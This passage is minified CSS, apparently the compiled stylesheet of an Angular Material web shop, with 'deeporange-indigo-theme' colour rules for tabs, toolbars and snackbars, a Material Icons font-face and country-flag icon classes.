.mat-tab-header-pagination-chevron{border-color:#00000061}.deeporange-indigo-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.deeporange-indigo-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.deeporange-indigo-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ff57224d}.deeporange-indigo-theme .mat-tab-group.mat-primary .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#e64a19}.deeporange-indigo-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#7986cb4d}.deeporange-indigo-theme .mat-tab-group.mat-accent .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#1a237e}.deeporange-indigo-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.deeporange-indigo-theme .mat-tab-group.mat-warn .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.deeporange-indigo-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.deeporange-indigo-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ff57224d}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#e64a19}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.deeporange-indigo-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#7986cb4d}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#1a237e}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.deeporange-indigo-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.deeporange-indigo-theme .mat-toolbar{background:whitesmoke;color:#000000de}.deeporange-indigo-theme .mat-toolbar.mat-primary{background:#e64a19;color:#fff}.deeporange-indigo-theme .mat-toolbar.mat-accent{background:#1a237e;color:#fff}.deeporange-indigo-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.deeporange-indigo-theme .mat-toolbar .mat-form-field-underline,.deeporange-indigo-theme .mat-toolbar .mat-form-field-ripple,.deeporange-indigo-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.deeporange-indigo-theme .mat-toolbar .mat-form-field-label,.deeporange-indigo-theme .mat-toolbar .mat-focused .mat-form-field-label,.deeporange-indigo-theme .mat-toolbar .mat-select-value,.deeporange-indigo-theme .mat-toolbar .mat-select-arrow,.deeporange-indigo-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.deeporange-indigo-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.deeporange-indigo-theme .mat-tooltip{background:rgba(97,97,97,.9)}.deeporange-indigo-theme .mat-tree{background:white}.deeporange-indigo-theme .mat-tree-node,.deeporange-indigo-theme .mat-nested-tree-node{color:#000000de}.deeporange-indigo-theme .mat-snack-bar-container{color:#ffffffb3;background:#323232;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeporange-indigo-theme .mat-simple-snackbar-action{color:#1a237e}.deeporange-indigo-theme a:link,.deeporange-indigo-theme a:visited{color:#7986cb;text-decoration:none}.deeporange-indigo-theme a:hover,.deeporange-indigo-theme a:focus,.deeporange-indigo-theme a:active{text-decoration:underline}.deeporange-indigo-theme a{outline:none}.deeporange-indigo-theme .confirmation{color:#1a237e}.deeporange-indigo-theme .ribbon:before{border:5px solid #1a237e}.deeporange-indigo-theme .ribbon span{background-color:#1a237e}.deeporange-indigo-theme .error{color:#f44336}.deeporange-indigo-theme .ribbon-sold:before{border:5px solid #f44336}.deeporange-indigo-theme .ribbon-sold span{background-color:#f44336}.deeporange-indigo-theme .primary-notification{background-color:#bf360c}.deeporange-indigo-theme .accent-notification{background-color:#8c9eff}.deeporange-indigo-theme .warn-notification{background-color:#d32f2f}.deeporange-indigo-theme .img-thumbnail{background-color:#e64a190d;border:1px solid #e64a19;border-radius:3px;padding:3px}.deeporange-indigo-theme .empty-star{stop-color:#e64a19}.deeporange-indigo-theme .filled-star{stop-color:#1a237e}.deeporange-indigo-theme .star-border{stroke:#1a237e}.deeporange-indigo-theme .mat-snack-bar-container{background-color:#fff!important;color:#000000de!important}.deeporange-indigo-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.deeporange-indigo-theme .mat-snack-bar-container.confirmBar{color:#1a237e!important}.deeporange-indigo-theme .google-button{background-color:#8c9eff!important}.deeporange-indigo-theme .deluxe-membership{background:linear-gradient(90deg,#e64a19 0%,white 100%)}.deeporange-indigo-theme .overlay{background:rgba(191,54,12,.7)}.close-dialog{float:right;margin-top:15px;width:-moz-fit-content;width:fit-content}[hidden]{display:none!important}.ng-animating .mat-expansion-panel .mat-expansion-panel-header{min-height:48px}.ng-animating .mat-expansion-panel.mat-expanded .mat-expansion-panel-header{min-height:64px}.ng-animating .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-content{height:0;overflow:hidden}#hacking-instructor code{background-color:#0000004d;border-radius:1px;font-family:monospace;padding:0 4px}.CodeMirror{border-radius:16px;height:600px!important}@font-face{font-family:Material Icons;font-style:normal;font-weight:400;src:url(MaterialIcons-Regular.eot);src:local("Material Icons"),local("MaterialIcons-Regular"),url(MaterialIcons-Regular.woff2) format("woff2"),url(MaterialIcons-Regular.woff) format("woff"),url(MaterialIcons-Regular.ttf) format("truetype")}.material-icons{font-family:Material Icons;font-weight:400;font-style:normal;font-size:24px;display:inline-block;line-height:1;text-transform:none;letter-spacing:normal;word-wrap:normal;white-space:nowrap;direction:ltr;-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;-moz-osx-font-smoothing:grayscale;font-feature-settings:"liga"}.fib,.fi{background-size:contain;background-position:50%;background-repeat:no-repeat}.fi{position:relative;display:inline-block;width:1.333333em;line-height:1em}.fi:before{content:"\\a0"}.fi.fis{width:1em}.fi-xx{background-image:url(xx.svg)}.fi-xx.fis{background-image:url(_-flags-1x1-xx.svg)}.fi-ad{background-image:url(ad.svg)}.fi-ad.fis{background-image:url(_-flags-1x1-ad.svg)}.fi-ae{background-image:url(ae.svg)}.fi-ae.fis{background-image:url(_-flags-1x1-ae.svg)}.fi-af{background-image:url(af.svg)}.fi-af.fis{background-image:url(_-flags-1x1-af.svg)}.fi-ag{background-image:url(ag.svg)}.fi-ag.fis{background-image:url(_-flags-1x1-ag.svg)}.fi-ai{background-image:url(ai.svg)}.fi-ai.fis{background-image:url(_-flags-1x1-ai.svg)}.fi-al{background-image:url(al.svg)}.fi-al.fis{background-image:url(_-flags-1x1-al.svg)}.fi-am{background-image:url(am.svg)}.fi-am.fis{background-image:url(_-flags-1x1-am.svg)}.fi-ao{background-image:url(ao.svg)}.fi-ao.fis{background-image:url(_-flags-1x1-ao.svg)}.fi-aq{background-image:url(aq.svg)}.fi-aq.fis{background-image:url(_-flags-1x1-aq.svg)}.fi-ar{background-image:url(ar.svg)}.fi-ar.fis{background-image:url(_-flags-1x1-ar.svg)}.fi-as{background-image:url(as.svg)}.fi-as.fis{background-image:url(_-flags-1x1-as.svg)}.fi-at{background-image:url(at.svg)}.fi-at.fis{background-image:url(_-flags-1x1-at.svg)}.fi-au{background-image:url(au.svg)}.fi-au.fis{background-image:url(_-flags-1x1-au.svg)}.fi-aw{background-image:url(aw.svg)}.fi-aw.fis{background-image:url(_-flags-1x1-aw.svg)}.fi-ax{background-image:url(ax.svg)}.fi-ax.fis{background-image:url(_-flags-1x1-ax.svg)}.fi-az{background-image:url(az.svg)}.fi-az.fis{background-image:url(_-flags-1x1-az.svg)}.fi-ba{background-image:url(ba.svg)}.fi-ba.fis{background-image:url(_-flags-1x1-ba.svg)}.fi-bb{background-image:url(bb.svg)}.fi-bb.fis{background-image:url(_-flags-1x1-bb.svg)}.fi-bd{background-image:url(bd.svg)}.fi-bd.fis{background-image:url(_-flags-1x1-bd.svg)}.fi-be{background-image:url(be.svg)}.fi-be.fis{background-image:url(_-flags-1x1-be.svg)}.fi-bf{background-image:url(bf.svg)}.fi-bf.fis{background-image:url(_-flags-1x1-bf.svg)}.fi-bg{background-image:url(bg.svg)}.fi-bg.fis{background-image:url(_-flags-1x1-bg.svg)}.fi-bh{background-image:url(bh.svg)}.fi-bh.fis{background-image:url(_-flags-1x1-bh.svg)}.fi-bi{background-image:url(bi.svg)}.fi-bi.fis{background-image:url(_-flags-1x1-bi.svg)}.fi-bj{background-image:url(bj.svg)}.fi-bj.fis{background-image:url(_-flags-1x1-bj.svg)}.fi-bl{background-image:url(bl.svg)}.fi-bl.fis{background-image:url(_-flags-1x1-bl.svg)}.fi-bm{background-image:url(bm.svg)}.fi-bm.fis{background-image:url(_-flags-1x1-bm.svg)}.fi-bn{background-image:url(bn.svg)}.fi-bn.fis{background-image:url(_-flags-1x1-bn.svg)}.fi-bo{background-image:url(bo.svg)}.fi-bo.fis{background-image:url(_-flags-1x1-bo.svg)}.fi-bq{background-image:url(bq.svg)}.fi-bq.fis{background-image:url(_-flags-1x1-bq.svg)}.fi-br{background-image:url(br.svg)}.fi-br.fis{background-image:url(_-flags-1x1-br.svg)}.fi-bs{background-image:url(bs.svg)}.fi-bs.fis{background-image:url(_-flags-1x1-bs.svg)}.fi-bt{background-image:url(bt.svg)}.fi-bt.fis{background-image:url(_-flags-1x1-bt.svg)}.fi-bv{background-image:url(bv.svg)}.fi-bv.fis{background-image:url(_-flags-1x1-bv.svg)}.fi-bw{background-image:url(bw.svg)}.fi-bw.fis{background-image:url(_-flags-1x1-bw.svg)}.fi-by{background-image:url(by.svg)}.fi-by.fis{background-image:url(_-flags-1x1-by.svg)}.fi-bz{background-image:url(bz.svg)}.fi-bz.fis{background-image:url(_-flags-1x1-bz.svg)}.fi-ca{background-image:url(ca.svg)}.fi-ca.fis{background-image:url(_-flags-1x1-ca.svg)}.fi-cc{background-image:url(cc.svg)}.fi-cc.fis{background-image:url(_-flags-1x1-cc.svg)}.fi-cd{background-image:url(cd.svg)}.fi-cd.fis{background-image:url(_-flags-1x1-cd.svg)}.fi-cf{background-image:url(cf.svg)}.fi-cf.fis{background-image:url(_-flags-1x1-cf.svg)}.fi-cg{background-image:url(cg.svg)}.fi-cg.fis{background-image:url(_-flags-1x1-cg.svg)}.fi-ch{background-image:url(ch.svg)}.fi-ch.fis{background-image:url(_-flags-1x1-ch.svg)}.fi-ci{background-image:url(ci.svg)}.fi-ci.fis{background-image:url(_-flags-1x1-ci.svg)}.fi-ck{background-image:url(ck.svg)}.fi-ck.fis{background-image:url(_-flags-1x1-ck.svg)}.fi-cl{background-image:url(cl.svg)}.fi-cl.fis{background-image:url(_-flags-1x1-cl.svg)}.fi-cm{background-image:url(cm.svg)}.fi-cm.fis{background-image:url(_-flags-1x1-cm.svg)}.fi-cn{background-image:url(cn.svg)}.fi-cn.fis{background-image:url(_-flags-1x1-cn.svg)}.fi-co{background-image:url(co.svg)}.fi-co.fis{background-image:url(_-flags-1x1-co.svg)}.fi-cr{background-image:url(cr.svg)}.fi-cr.fis{background-image:url(_-flags-1x1-cr.svg)}.fi-cu{background-image:url(cu.svg)}.fi-cu.fis{background-image:url(_-flags-1x1-cu.svg)}.fi-cv{background-image:url(cv.svg)}.fi-cv.fis{background-image:url(_-flags-1x1-cv.svg)}.fi-cw{background-image:url(cw.svg)}.fi-cw.fis{background-image:url(_-flags-1x1-cw.svg)}.fi-cx{background-image:url(cx.svg)}.fi-cx.fis{background-image:url(_-flags-1x1-cx.svg)}.fi-cy{background-image:url(cy.svg)}.fi-cy.fis{background-image:url(_-flags-1x1-cy.svg)}.fi-cz{background-image:url(cz.svg)}.fi-cz.fis{background-image:url(_-flags-1x1-cz.svg)}.fi-de{background-image:url(de.svg)}.fi-de.fis{background-image:url(_-flags-1x1-de.svg)}.fi-dj{background-image:url(dj.svg)}.fi-dj.fis{background-image:url(_-flags-1x1-dj.svg)}.fi-dk{background-image:url(dk.svg)}.fi-dk.fis{background-image:url(_-flags-1x1-dk.svg)}.fi-dm{background-image:url(dm.svg)}.fi-dm.fis{background-image:url(_-flags-1x1-dm.svg)}.fi-do{background-image:url(do.svg)}.fi-do.fis{background-image:url(_-flags-1x1-do.svg)}.fi-dz{background-image:url(dz.svg)}.fi-dz.fis{background-image:url(_-flags-1x1-dz.svg)}.fi-ec{background-image:url(ec.svg)}.fi-ec.fis{background-image:url(_-flags-1x1-ec.svg)}.fi-ee{background-image:url(ee.svg)}.fi-ee.fis{background-image:url(_-flags-1x1-ee.svg)}.fi-eg{background-image:url(eg.svg)}.fi-eg.fis{background-image:url(_-flags-1x1-eg.svg)}.fi-eh{background-image:url(eh.svg)}.fi-eh.fis{background-image:url(_-flags-1x1-eh.svg)}.fi-er{background-image:url(er.svg)}.fi-er.fis{background-image:url(_-flags-1x1-er.svg)}.fi-es{backgr